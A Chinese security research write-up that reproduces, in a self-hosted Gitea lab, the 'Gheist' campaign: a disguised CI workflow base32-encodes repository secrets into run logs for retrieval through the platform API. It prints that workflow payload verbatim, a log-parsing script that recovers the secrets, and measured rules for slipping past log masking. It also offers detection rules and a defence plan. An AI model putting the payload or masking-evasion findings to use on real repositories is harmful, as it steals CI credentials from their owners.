把托管平台当成回传信道Gheist无C2窃密的本地复现与检测工程
本文在自建Gitea与gitea-runner上复现Gheist的「投递工作流—读取密钥—编码入日志—经平台API取回」无C2外带链路,测绘脱敏引擎的匹配规则与载荷尺度效应,回答载荷为何选base32,并给出以金丝雀变换指纹为核心的检测点与防御优先级。
一、引言
1.1 一次没有攻击者基础设施的窃密
2026年9月15日起,Wiz Research开始追踪一轮被命名为Gheist的大规模活动。它没有用到什么新的技术原语:攻击者手里有一批失陷的GitHub令牌,对每个令牌可达的仓库建一个名为ci-sync-加六位随机字符的分支,往.github/workflows/sync-check.yml里提交一个只有十几行的工作流,push事件触发运行,作业把环境变量和仓库密钥用base32编码后打印进自己的运行日志,攻击者的工具再经GitHub API把日志下载走,几秒后删掉这次运行。截至10月24日,Wiz从850多个失陷账号里恢复了13,500多个这样的分支。工具的用户代理字符串是gheist,活动因此得名。
值得注意的不是它做了什么,而是它没做什么:整条链路里没有攻击者控制的服务器,没有恶意域名,没有到外部主机的出站连接。数据从平台来,到平台去,中间只在平台内部换了一个可见面。传统外带检测依赖的三样东西——出网目的地、外部域名信誉、异常进程树——在这条链上同时落空。
GitHub自2026年7月28日起对公开仓库中可疑的工作流运行施加了等待协作者审批的闸门,Wiz抽查到的每一个公开仓库Gheist运行都停在这个闸门上,载荷从未执行。但这道闸门不覆盖私有仓库与GitHub Enterprise Server,而企业正是把生产凭据放在私有仓库里的那一类用户。云侧审计日志里已经能看到ci-sync-*分支上的运行跑完、随后被gheist用户代理删除的记录。
1.2 公开资料没有回答的两个问题
Wiz和随后的各家报道把“为什么能跑起来”讲得很清楚,三条原因也被反复引用:脱敏只在值逐字出现时生效,编码后的串不匹配所以完整打印;permissions: {}限制的是作业自带的GITHUB_TOKEN,与secrets上下文的读取无关;当仓库配置了部署环境时,工具用环境矩阵把环境级密钥也一并扫出来。
但有两个问题没有被回答,而它们恰好决定检测能不能落地。
为什么偏偏是base32?现有说法只到“编码后不匹配”为止。可是编码方式有很多,base64更常见、编码后也更短,为什么不用?如果平台对base64有额外的脱敏处理,那base32是被攻击者「挑」出来的,说明攻击者做过实测;如果没有,这个选择就只是随手,那么检测方指望“看到编码串就报”也还有戏。这两种情况对应的防御姿态完全不同。
“没有C2”究竟改变了什么?这句话常被理解成“少了一条IOC”。真正的改变在信道结构:控制面(投递工作流)与数据面(取回密钥)都复用平台自身的合法通道,两者共用同一域名、同一证书、同一套API。这意味着攻击面从“网络边界”整体迁移到了“写入权限”上。
本文围绕这两个问题,在自建Gitea上完成三组实验并给出检测原型,交付四项公开资料中没有的结论。
其一是脱敏引擎的三条匹配规则与阈值参数——变体集合的构成、子串替换的连续性要求、以及退化匹配时按四字符分组对齐且不低于12字符的门槛。由这三条还能推出一条此前没人提过的分界线:折行既可能救下密文,也可能毁掉密文,取决于折出的行长与阈值的关系。
其二是载荷尺度的反事实实验。把同一份完整密钥JSON换成base64输出,密钥会被啃成"S26"这样的残片,换成base32则分毫无损。这个对照直接证明了编码方式是被实测挑出来的,而不是随手选的。
其三是金丝雀检测的关键一步:必须先解码再比对。直接拿金丝雀的编码指纹去日志里搜子串必然失败,原因与base32的分组特性有关,7.2节会展开。
其四是平台默认访问日志不落User-Agent,gheist这条被公开报告列为狩猎线索的字符串,在自建实例上根本搜不到——实测零命中。这条决定了检测必须改走行为序列。
二、攻击链路的信道学拆解
2.1 控制面与数据面的分离
把这条链按信道拆开看,结构会很清楚。
控制面:攻击者向仓库写入一个工作流文件。这个动作的载体是一次普通的git push——与每个开发者每天做的事没有任何区别。它不需要漏洞,不需要权限提升,只需要令牌本身具备的写权限。平台侧对这次写入的判定是“一次正常提交”,因为提交者就是令牌的主人,提交信息也被写成ci: sync config这类无害字样。
数据面:密钥从secrets上下文进入作业进程,编码后写入运行日志,再由攻击者经平台API读走。这一段全部发生在平台边界内部,出站目标是平台自己的API域名,与开发者拉取代码的流量完全同构。
图 1 无C2外带的控制面与数据面结构,以及本次复现的环境构成
分离带来的后果是:控制面唯一的鉴权因素是“令牌能不能写这个仓库”,而平台文档本身就确认,具备仓库写权限者可以读取该仓库配置的全部密钥。换句话说,写权限与读密钥在平台模型里是同一件事的两种表述,攻击者并没有绕过任何检查,只是把一项本来就存在的能力用在了日志里。
这也解释了为什么“删运行、删分支”不构成止损。密钥在作业跑完的那一刻就已经离开了secrets存储,进入了一个可被令牌读取的日志对象;删除只是让事后取证少一条证据,不改变已经发生的泄露。唯一有效的止损是轮换。
2.2 载荷里四处被低估的设计
Gheist的载荷短得可疑,但每个字段都有明确用途。
name: sync-check
on: [push]
permissions: {}
jobs:
sync:
runs-on: ubuntu-latest
timeout-minutes: 6
steps:
- name: build
run: |
env | base32 -w 120
echo -n '${{ toJSON(secrets) }}' | base32 -w 120permissions: {}是一个伪装。它把作业自带的令牌权限压到最小,看起来像是遵守最小权限原则的安全写法,实际上与secrets上下文毫无关系——攻击者要的从来不是GITHUB_TOKEN。这个字段的作用是在人工审计和自动化扫描面前降低可疑度。
on: [push]意味着不需要等待任何审批或调度,push即执行。在自建实例和私有仓库里,这个触发器没有任何前置条件。
base32 -w 120里的折行宽度不是随手写的。它把编码流切成120字符一段,段末保留=填充——填充符本身就是分段标记,攻击侧解析时按填充切块,就能把env和toJSON(secrets)两条独立的编码流分开。只看分段这一层,宽度取多少都行;真正让这个数字变得要紧的是脱敏,第四章会用反事实实验把它测出来。
toJSON(secrets)一次拿全,不需要知道密钥的名字。这让载荷与仓库强弱相关度无关,具备跨仓库的通用性。
三、实验环境
托管端为自建Gitea 28.2.0,Actions功能开启,runner为gitea-runner 5.2.2,以容器方式执行作业。开发者工作站负责克隆仓库、推送分支与工作流文件,扮演“持有令牌的开发者”这一角色;同一台机器在回传阶段扮演攻击侧的取日志端。两者分离是为了让投递与取回在时间线上可区分,便于检测端的时序关联。
仓库为私有仓库,默认分支main,配置六枚自建假密钥(云访问密钥对、部署令牌、数据库口令、一枚带特殊字符的测试值、一枚金丝雀密钥)。金丝雀密钥的取值是随机串,业务代码与任何正常作业都不引用它——它在实验中的唯一用途,是验证检测侧能否在密钥被编码之后仍然认出它。
全部网络流量止于自建实例,取日志使用的用户代理按公开报告中的取值设置为gheist,用于验证这条IOC在自建平台上的可观测性。仓库与凭据均为自建资产,不涉及任何真实凭据或第三方系统。
四、实验一 日志脱敏引擎的边界测绘
这一章回答第1.2节的第一个问题:base32是随手选的,还是被挑出来的。测绘在自建Gitea 28.2.0上完成,给出的变体集合与阈值以该版本实现为准;更有价值的是这套测绘方法本身,它可以原样迁移到任何版本与任何托管平台,几分钟就能得出该平台的专属结论。
4.1 同一密钥的十一种输出形态
实验方法很直接:在probe/masking分支上连续投递探针作业,每轮都用若干步骤输出同一枚密钥的不同变换,观察哪些被替换成***。下面节选第一轮的七个步骤,加上后续几轮补测的形态,一共十一种,判定结果汇总在图2右上。密钥明文为SANDBOX-Sup3r-Pw-2026,另设一枚SANDBOX-Pw?>~用于产生带+与=的base64变体。
- name: V1 plaintext
run: echo "V1 ${{ secrets.DB_PASSWORD }}"
- name: V2 base32
run: echo -n "${{ secrets.DB_PASSWORD }}" | base32 -w 120; echo
- name: V3 base64
run: echo -n "${{ secrets.DB_PASSWORD }}" | base64 -w 120; echo
- name: V4 hex
run: echo -n "${{ secrets.DB_PASSWORD }}" | od -An -tx1 | tr -d ' \n'; echo
- name: V5 chunked
run: echo "${{ secrets.DB_PASSWORD }}" | fold -w 8
- name: V6 case swap
run: echo "${{ secrets.DB_PASSWORD }}" | tr 'A-Za-z' 'a-zA-Z'; echo
- name: V7 reversed
run: echo -n "${{ secrets.DB_PASSWORD }}" | rev; echo图 2 脱敏引擎的匹配模型(左)、十一种输出形态的实测判定(右上)与载荷尺度反事实对照(右下)
结果里最反直觉的一条是V3:base64形态被完整脱敏成了***,而V2的base32原样打印。这说明脱敏引擎的匹配集合不止包含密钥原值,还预计算了它的标准base64变体。换句话说,base32和base64在这个引擎眼里是不对等的。
第二个反直觉的点是折行。把base64用-w 10折成两行输出时,脱敏完全失效,两行密文原样打印。这说明匹配是「整串连续出现」的匹配,一旦输出被切段,命中条件就不再成立——V3之所以被脱敏,只是因为短密钥的base64不到120字符,整串落在单行内。
图 3 同一作业中V1原值、V2 base32、V3 base64、V4 hex四种形态的真实运行日志,红框处为各自的脱敏判定
4.2 匹配单元与对齐阈值
V2的输出是一整串base32,未命中在意料之中。但在测试base64去填充形态时,出现了一个既非命中也非未命中的结果:
L2[U0FO***fg] <- 原串 U0FOREJPWC1Qdz8+fg,去掉了 ==
L5[U0FO***fg=] <- 原串 U0FOREJPWC1Qdz8+fg=,去掉了一个 =只有中间12个字符被替换。这说明引擎在整段变体没出现时,并没有放弃,而是退化为按base64四字符分组做最长匹配。为确认这一行为,用字面量做了分组粒度对照:
P1[REJPWC1Qdz8+] -> P1[***] 12 字符,对齐起点,命中
P2[REJPWC1Qdz8] -> P2[REJPWC1Qdz8] 11 字符,未命中
P5[EJPWC1Qdz8+] -> P5[EJPWC1Qdz8+] 11 字符且非对齐起点,未命中
P6[REJPWC1Qdz8+fg] -> P6[***fg] 14 字符,仅前 12 字符对齐段被替换阈值在12个base64字符(即3个完整分组、9字节明文)处,且要求起点对齐到分组边界。低于阈值、或起点错开一位,都不替换。
把三条规则合起来,这台引擎的行为可以完整刻画为一个字符串处理过程而非安全判定过程:注册项为「密钥原值 + 其标准base64」,匹配方式为「整串优先,失败则退化为按四字符分组对齐的最长匹配,长度不低于12字符」,动作为「命中的那一段替换为***」。它不理解语义,不知道某个串是密钥,也不知道base32是编码。
4.3 base32是被挑出来的
回到最初的问题。在实测的十一种输出形态里,base64落在预计算变体集合内,base32不在;base64在单行时会被脱敏,base32无论怎么排布都不会。
但真正决定编码选择的,是载荷尺度而不是单枚密钥的长度。Gheist打印的不是某一枚密钥,而是完整的toJSON(secrets)——几百字节的JSON。把同一份JSON分别用两种编码输出,结果差异是决定性的:
Y1 base32 -w 120 -> 1192 字符,替换 0 处 -> 还原出 "DB_PASSWORD": "SANDBOX-Sup3r-Pw-2026"
Y2 base64 -w 120 -> 757 字符,替换 7 处 -> 还原出 "DB_PASSWORD": "S26"
Y3 base64 -w 480 -> 650 字符,替换 8 处 -> 还原出 "DB_PASSWORD": "S26","DEPLOY_TOKEN": ""Y2与Y3里出现的替换,正是4.2节那条退化规则在起作用:base64折行后,每一行的行首都是4字符分组的对齐起点(120与480都是4的倍数),行长又远超12字符阈值,于是引擎在每一行上都找到了可替换的对齐片段。密文被逐段啃掉,还原出来的密钥只剩下"S26"、""这样的残片——对攻击者毫无价值。base32不在变体集合内,退化规则无从触发,同尺度下零损伤。
这里要与4.1里-w 10折行反而完全不脱敏区分开,两者并不矛盾:折行之后是否还被脱敏,取决于折出的行长与12字符阈值的关系——-w 10每行只有10字符,低于阈值,整行逃逸;-w 120每行120字符,远超阈值,每行都被啃掉一段。折行既可能救下密文,也可能毁掉密文,分界线就是那条12字符阈值与分组对齐。这同时解释了载荷里-w 120的取值:对不在变体集合内的base32来说,折行宽度只影响日志的可读性与按填充符分块的便利,不影响脱敏结果;而对base64来说,任何大于或等于阈值、且为4的倍数的宽度都会招来逐行啃食。
一次-w取值就把编码方式分成“能带走全部密钥”和“只能带走三个字符”两档,这不是巧合。载荷选择的是「不在平台脱敏预计算集合内、且字母表能安全穿过受限字符集」的编码:base32不在集合内,字母表只有A-Z与2-7加填充符,可以直接进入分支名、文件名与URL路径;base64既在集合内,其+、/、=在ref名称与部分接口中还需额外处理。两条约束叠加,可选集合就只剩base32这一类。
这个结论对检测有直接含义:既然攻击者的编码是可枚举集合之外的任意变换,“检测有没有编码串”这条路走不通——合法作业里base64和base32到处都是。能作为判据的不是“出现了编码”,而是“编码的对象是secrets上下文”。第7章的检测原型正是据此设计的。
五、实验二 原样载荷复现与回传闭环
按公开报告中的载荷原样投递:建分支ci-sync-9d4c07(沿用ci-sync-加六位随机字符的命名),提交.github/workflows/sync-check.yml,提交信息ci: sync config。push后作业在runner上正常执行,状态成功,全程没有任何告警。
图 4 sync-check作业的真实运行日志,红框处为toJSON(secrets)编码流的起始行
日志共计9984字节,其中两条base32流分别为4072与1192字符,对应env与toJSON(secrets)两段输出。有意思的是回显区:脚本连同表达式展开后的内容一起被打了出来,toJSON(secrets)展开的JSON里九个键名俱在,九个值全被替换成***——脱敏在那几行是生效的。可回显一结束,同一条JSON的base32密文就紧接着开始输出,一字未动。同一份数据隔着几行,一处被打码、一处完好,差别只在编码形式。
回传侧的取日志逻辑按攻击侧行为实现:列出运行、取作业日志、按填充符切分编码流、解码、还原JSON。
def split_b32_blocks(log_text):
"""按 base32 填充符切分日志中的多个编码流"""
blocks, buf = [], ""
for line in log_text.splitlines():
s = re.sub(r"^\S+Z\s+", "", line).strip()
if s and re.fullmatch(r"[A-Z2-7=]+", s):
buf += s
if s.endswith("="):
blocks.append(buf)
buf = ""
if buf:
blocks.append(buf)
return blocks图 5 取日志端的实际输出:9个密钥项与66个环境变量被完整还原
还原结果里除了六枚自建假密钥,还有三项平台在运行时注入的凭据:ACTIONS_RUNTIME_TOKEN、GITEA_TOKEN、GITHUB_TOKEN。尽管载荷已经声明了permissions: {},GITHUB_TOKEN与GITEA_TOKEN照样出现在secrets上下文里被完整带走——这与公开报告一致:permissions: {}约束的是令牌权限,不是secrets的可见性。
整条闭环跑下来,出站请求的目标是自建实例自身,用户代理为gheist,全程没有连接任何外部主机。这条信道在真实平台上之所以难以分辨,是因为它与全球开发者的日常流量共享同一域名、同一证书、同一套API端点:隐蔽性来自流量规模,机制与自建实例上跑的是同一套——一次push、一次运行、一次API下载,密钥就离开了仓库边界并在攻击侧还原。
六、实验三 外带信道的容量与留痕
如果不用运行日志,攻击者还有哪些“平台内”的面可用?这个问题决定了检测资源该押在哪里。三条候选信道都在本地做了容量实测。
信道面 | 单次可承载 | 达到同等容量所需对象数 | 平台侧主要留痕 | 可被攻击者清除 |
运行日志 | 5264字符密文(实测一次运行) | 1次push + 1次运行 | 运行记录、日志文件、API下载记录 | 是(删运行) |
分支名(ref) | 约85字符密文 | 约62条分支 | 分支列表、创建时间、审计日志 | 是(删分支) |
提交信息 | 实测8000字符仍被接受 | 1次提交 | 提交历史、推送记录 | 否(需改写历史) |
分支名上限是实测得到的:以二分法探测,分支名长度100字符时被接受,101字符被平台以HTTP 422拒绝;扣除refs/heads/前缀与分隔字符后,单条ref可承载的密文约85字符。要外带与一次运行日志等量的5264字符,需要六十余条分支。提交信息面则宽松得多,实测单次提交写入8000字符的提交信息仍被平台接受,一次提交即可带走全部密钥。
这组数字解释了攻击者的信道选择。分支名面在容量上相差六十余倍,而每建一条分支就在分支列表上留一个可见对象——Wiz之所以能恢复出13,500个分支,正是因为每个仓库都留下了一条。日志面只需要一次push、一次运行、一次API下载,且运行还能被删除。
但它同时揭示了检测的落脚点:Wiz观察到的13,500个分支是活动的“规模指纹”,不是攻击的“必要特征”。如果攻击者改用提交信息面或更少量的分支,分支数异常这条检测就会失效。因此分支计数应当被定位为“规模化战役的指示器”,而不是“外带行为的判据”。真正稳定的判据在写入动作本身——第7章的D1与D3。
七、检测工程
7.1 五组检测点及其有效性
基于上述实验,检测原型ci_sentinel实现了五组检查,在一台真实实例上跑了完整扫描。
D1工作流文件突变。遍历全部非默认分支,取.github/workflows/下的文件清单与默认分支做差集,新增文件即告警;同时对分支名做模式匹配。这一条直接命中控制面,且不依赖任何内容特征。实测三个ci-sync-*分支全部命中。
D2分支数量与命名速率。以仓库常态分支增量为基线做泊松近似(基线需按各仓库的历史分支创建频次标定,本例取λ=0.5作为演示值),本次扫描分支数5,z值为6.36,超过3σ阈值。这一条对规模化战役有效,对单次定向无效。
D3工作流内容静态规则。解析每个分支上每个工作流文件的run块,同时出现secrets上下文引用与编码类命令(base32/base64/od/rev/tr/fold)即判为严重。实测三个sync-check.yml全部命中,secrets引用=1 编码命令=['base32']。
D4金丝雀变换指纹。见7.2。
D5平台访问日志行为序列。见7.3。
需要说明的是这五组的归属并不相同。D1至D3属于业内通行做法,本文的贡献是给出它们在真实实例上的命中情况与失效边界——比如D2只反映战役规模、D3存在固有误报;D4与D5才是本文新增的判据,前者解决“编码之后认不出来”的问题,后者指出一条公开IOC在自建平台上根本不可用。
图 6 ci_sentinel的扫描输出节选,红框处为关键命中与观测缺口
图 7 分支列表中的三条ci-sync-*分支,提交信息一致、均无关联合并请求
7.2 金丝雀变换指纹:先解码,再比对
第一版金丝雀检测失败了。做法是对金丝雀明文计算base32、base64、hex、反转、大小写互换等指纹,直接到日志里搜子串,命中数为0。
原因是一个容易被忽略的性质:攻击载荷对的是整个toJSON(secrets)编码,不是逐密钥编码。base32是把字节流按5 bit重新分组的块编码,不是逐字符替换——同一段明文处在不同的字节偏移上,分组对齐关系随之改变,得到的密文完全不同。因此单个密钥的独立base32指纹根本不会出现在日志里。
修正后的检测分两路:第一路搜明文与不依赖偏移的变换(反转、大小写互换、hex);第二路先把日志里的base32/base64块解出来,再在解码后的明文里找金丝雀。第二路命中:
[D4] 金丝雀变换指纹扫描
[!] run#22 CANARY_HONEYTOKEN 命中方式=base32(解码后明文) 证据=ZNQ7-honeytoken-never-used-3184
扫描运行数 = 12 命中 = 1 (路径一直连匹配 0 / 路径二解码后匹配 1)这一条的价值在于它的判定与攻击者用什么编码无关。无论base32、base64、hex还是多层嵌套,只要最终能被还原成明文,解码后比对就一定命中;而攻击者面对的是一个自己不知道值的密钥,无法针对性规避。相比“检测日志里有没有高熵串”,这是一种误报率可控得多的判据。
部署上需要注意的是,金丝雀必须是一枚业务永不引用的真密钥。它一旦在任何正常作业里出现过,这条检测就退化为普通的内容匹配。
7.3 一个反直觉的观测缺口
公开报告给出的三条可狩猎线索里,ci-sync-*分支名和gheist用户代理是两条。本地实测表明,用户代理这条在自建实例上没有落点:
[D5] 平台访问日志行为序列
日志行数 = 472
User-Agent 记录 = 否 含 'gheist' 字样的行 = 0
运行日志下载请求 = 39 删除类请求 = 8平台默认访问日志记录了请求方法、路径与来源地址,但不含User-Agent。这意味着使用自建托管平台的企业,即使完整采集了平台日志,也搜不到这条IOC。
可替代的判据是行为序列本身,而它恰好也在日志里:一类是针对actions/jobs/*/logs的日志下载请求,另一类是运行删除请求——公开报告描述的攻击链正是下载后数秒即删除该次运行。这两个动作在正常开发流程中都极少出现:开发者看日志走的是网页,删运行更不是日常操作。把“同一账号短时间内先下载运行日志、再删除该次运行”做成关联规则,效果优于依赖一个可被随意修改的字符串。
更一般的结论是:在这类攻击里,攻击者可控的字段(分支名、提交信息、用户代理)都不适合作为主判据,因为它们零成本可变;不可控的是行为序列与权限模型,因为攻击者必须下载日志、必须让作业读到密钥。
7.4 误报与代价
D3规则在这次扫描里也命中了实验者自己写的脱敏对照工作流——它们确实引用了secrets并使用了编码命令。这不是缺陷而是规则的固有代价:它检测的是“读取密钥并做变换”这个动作,而这个动作在合法场景(把密钥写进配置文件、生成连接串)里同样存在。
降噪需要引入上下文:变更是否经由合并请求引入、提交者是否为仓库的常规贡献者、分支是否关联工单、作业是否同时具备permissions: {}这类降低可疑度的写法。D1与D3的并集比单独任一条都好——一个无合并请求、直接推送到新分支、且内容里同时出现secrets与编码管道的组合,在真实仓库里是罕见事件。
八、防御优先级
按“能挡住什么、要花多少”排序,而不是按直觉。
第一,收敛写入权限。既然写权限等价于读密钥,那么谁能往仓库写工作流,就是这个仓库密钥的实际持有人。具体到工程:对.github/workflows/设CODEOWNERS与强制评审;限制个人访问令牌的作用域与有效期,优先使用短时效的细粒度令牌;对自动化账号单独建账号并限制可达仓库范围。这一条是唯一能从源头消除该攻击面的措施,其余都是在泄露发生后减损。
第二,密钥分域与环境隔离。把生产凭据从仓库级密钥下移到部署环境级,并且不要给默认运行环境任何生产凭据。Gheist用环境矩阵扫环境级密钥,说明这一步只能提高门槛不能根除,但它能把“一次push拿全”降级为“需要对环境结构有了解”。
第三,部署金丝雀并做解码比对。每个重要仓库放一枚业务不引用的金丝雀密钥,CI日志落库后统一做「解码后比对」,命中即视为密钥泄露并触发全量轮换。这是本文实验中唯一能在攻击者任意编码下稳定命中的检测手段,实现成本也最低。
第四,工作流变更的审计与门禁。非合并请求引入的工作流文件变更直接告警;对新增工作流做静态检查,secrets上下文与编码管道同现即拦截。这条能挡住控制面,是D1、D3的产品化形态。
第五,把平台日志接到可关联的地方。平台默认访问日志不落User-Agent,但落请求路径与来源地址。把日志下载、运行删除、分支批量创建这三类事件做成关联规则,比依赖任何字符串IOC都耐用。
第六,把轮换当成默认动作而非补救动作。一旦发现ci-sync-*分支或可疑工作流,唯一有效的止损是轮换该仓库可达的全部密钥并吊销对应令牌。删分支、删运行在安全意义上没有任何价值,只会在取证阶段制造麻烦。
最后一条建议是关于认知的:不要把日志脱敏当作安全边界。本次测绘表明,它是一层“防止误伤”的显示层处理,其匹配规则是字符串层面的,攻击者只需选一个不在变体集合内的变换即可跳过。任何依赖“平台会帮我把密钥打码”的设计,都等价于把密钥明文暴露给了所有能触发作业的人。
九、结语
回到开头那两个问题。base32不是随手选的:在完整密钥JSON这个真实载荷尺度上,换成base64会被脱敏引擎的对齐退化规则逐段啃成残片——DB_PASSWORD只剩S26,DEPLOY_TOKEN变成空串;base32不在变体集合内,1192字符零替换、完整还原。一次-w取值就把编码分成“带走全部密钥”和“带走三个字符”两档,这是做过实测才能做出的选择;再叠加字母表要能穿过分支名与URL的受限字符集,可选项就只剩base32这一类。
“没有C2”真正改变的是攻防的落脚点:出网控制、域名信誉、进程树这些抓手同时失效,防线被压缩到了一个点上——谁能往仓库写工作流。本文的实验也显示了这个点上仍有可观测信号:工作流文件突变、密钥读取与编码的同现、金丝雀在解码后必然暴露、以及日志下载与运行删除的行为序列。四项都不依赖攻击者可控的字符串,其中金丝雀一项与编码方式无关。
对这条攻击链,最经济的投入不是更复杂的出站检测,而是两件朴素的事:收敛谁能写仓库的工作流目录,以及在每个仓库里埋一枚没人会用的密钥,然后每天在日志的解码结果里找它。
资料引用
- Wiz Research. Gheist: Attempted Scaled Abuse of Stolen GitHub Tokens Stumbles. 2026.(活动命名、载荷原文、
ci-sync-分支命名规则、13,500分支与850账号的统计口径) - The Hacker News. Gheist Uses Stolen GitHub Tokens to Steal Private Repository Secrets via Actions Logs. 2026-10.(审批闸门仅覆盖公开仓库、私有库与GHES不受覆盖的说明)
- GitHub Docs. Using secrets in GitHub Actions.(具备仓库写权限者可读取仓库secrets的权限模型说明;脱敏为best-effort、值经编码后不保证被脱敏的声明)
- Gitea 28.2.0 / gitea-runner 5.2.2。(本文实验平台,脱敏行为、分支名长度限制、访问日志字段均为该版本实测结果)